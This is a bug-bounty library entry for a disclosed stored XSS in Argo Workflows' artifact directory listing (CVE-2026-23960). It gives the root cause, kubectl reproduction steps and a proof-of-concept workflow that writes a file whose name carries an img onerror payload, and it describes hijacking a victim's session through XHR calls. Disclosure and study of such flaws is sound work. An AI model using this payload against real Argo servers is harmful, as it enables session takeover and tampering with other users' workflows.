# Argo Workflows affected by stored XSS in the artifact directory listing

Argo Workflows artifact directory listing renders attacker-controlled object names unescaped, letting a workflow author store XSS that runs in a victim's Argo Server session.

- Payout: Research
- Severity: high
- Program: Argo Workflows
- Found by: Masamuneee
- Disclosed: 2026-01-21
- CVE: CVE-2026-23960
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-cv78-6m8q-ph82
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-cv78-6m8q-ph82
- Tags: area:cloud domain:cloud domain:web impact:ato impact:integrity kind:research platform:ghsa sev:high tech:go tech:kubernetes technique:source-review vuln:xss

**Target:** Argo Server artifact directory listing endpoint (/artifact-files/...)
**Root cause:** The directory listing handler in server/artifacts/artifact_server.go writes object names returned by driver.ListObjects(...) directly into HTML with fmt.Fprintf without escaping, and those names are attacker-controlled when a workflow writes files into an output artifact directory.
**Steps:**
1. Deploy Argo Workflows and port-forward the server: `kubectl -n argo port-forward deploy/argo-server 2746:2746`
2. Create a workflow whose container writes a file named `xss"><img src=x onerror="alert(document.domain)">.html` into `/tmp/artifacts` and declares it as an output artifact directory with `archive: none: {}`
3. Wait for completion and get the node ID via `kubectl -n argo get wf <wf-name> -o jsonpath='{range .status.nodes.*}{.id}{"\t"}{.displayName}{"\n"}{end}'`
4. Open `https://localhost:2746/artifact-files/argo/workflows/<wf-name>/<node-id>/outputs/dir/` to trigger the stored XSS
**How found:** Code reading of the artifact directory listing handler: noticed object names from driver.ListObjects(...) are interpolated into HTML via fmt.Fprintf without escaping, and that workflow authors control those filenames.
**Exploitation:** Attacker creates a workflow producing an HTML artifact containing a script that issues XHR calls to the Argo Server API, then sends the deep-link to the artifact directory listing to a victim; when the victim opens it the script executes under the Argo Server origin with the victim's session, allowing reads of the victim's workflow info and creation/deletion of workflows the victim is permitted to touch.
**Insight:** Artifact/object-browsing UIs that echo storage-layer filenames into HTML are a reliable stored-XSS surface: any user who can write files into a listed directory controls the markup, so check every listing renderer for unescaped object names.

## Proof of concept (copied exactly from the original report)

**PoC workflow creating XSS-named artifact file**

```
cat > /tmp/argo-xss.yaml <<'EOF'
apiVersion: argoproj.io/v1alpha1
kind: Workflow
metadata:
  generateName: xss-artifact-test-
spec:
  entrypoint: main
  templates:
  - name: main
    container:
      image: alpine
      command: [sh, -c]
      args:
      - |
        mkdir -p /tmp/artifacts
        touch '/tmp/artifacts/xss"><img src=x onerror="alert(document.domain)">.html'
    outputs:
      artifacts:
      - name: dir
        path: /tmp/artifacts
        archive:
          none: {}
EOF
kubectl -n argo create -f /tmp/argo-xss.yaml
```

**Deep-link URL to trigger the XSS listing**

```
`https://localhost:2746/artifact-files/argo/workflows/<wf-name>/<node-id>/outputs/dir/`
```

